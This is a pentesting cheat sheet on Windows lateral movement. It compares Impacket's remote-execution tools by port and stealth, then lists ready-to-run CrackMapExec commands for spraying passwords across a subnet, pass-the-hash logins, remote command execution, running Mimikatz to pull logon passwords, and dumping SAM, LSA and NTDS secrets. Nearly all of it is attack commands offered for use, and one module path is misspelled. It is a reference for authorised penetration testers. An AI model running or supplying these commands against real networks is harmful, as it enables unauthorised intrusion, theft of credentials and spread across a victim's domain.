Cheatography

Windows Lateral Movement Cheat Sheet

by tz-pl via cheatography.com/103310/cs/21266/

Impacket

PSExec	Writable share required, default ADMIN$. Interactive shell or single command. Similar to psexec.exe, uses RemComSVC.	SMB - 445
SMBExec	No writable share required. Requires 4 SMB Connections. Doesn't use RemComSVC. Semi-interactive shell or single command.	SMB - 445
ATExec	Writable share required, default ADMIN$. Run a single command through task scheduler.	SMB - 445
WMIExe	Semi-interactive shell through WMI. No service/agent installation require, runs elevate privileges if possible. Stealthy.	RPC, WMI - 135
DCOMExec	Semi-interactive shell, similar to WMIexec but using different DCOM endpoints. Blocked by default due to Windows firewall rules.	RCP, DCOM - 135

Example:

```
python <script.py> domain/user:password@IP <command>
```

PSExec, SMBExec, WMIExec will obtain shells if <command> is blank

CrackMapExec

Swiss army knife for pentesting with many features. Spray credentials across environment to enumerate shares, sessions, disks, users, login privileges, execute commands, dump SAM and LSA secrets, run mimikatz, and more.
Can perform command execution via Impacket's smbexec, wmiexec, atexec.

Spray domain creds: `crackmapexec 192.168.1.0/24 -u user -p 'P@ssw0rd' -d domain.com`

Spray local creds: `crackmapexec 192.168.1.0/24 -u user -p 'P@ssw0rd' --local-user`

Spray creds from files: `crackmapexec 192.168.1.0/24 -u users.txt -p passwords.txt`

Pass-the-hash: `crackmapexec 192.168.1.0/24 -u user -H NTLMhash`

Execute command: `crackmapexec 192.168.1.0/24 -u user -p 'password' --exec-method smbexec -x whoami`

Run Mimikatz: `crackmapexec 192.168.1.0/24 -u user -p 'password' -M modules/credentials/mimiaktz.py -o COMMAND='privilege::debug;sekurlsa::logonpasswords'`

Common Enumeration Options

Enumerate shares: `--shares`

Dump sam, lsa or ntds: `--sam --lsa --ntds`

Sessions: `--sessions`

Logged on users: `--lusers`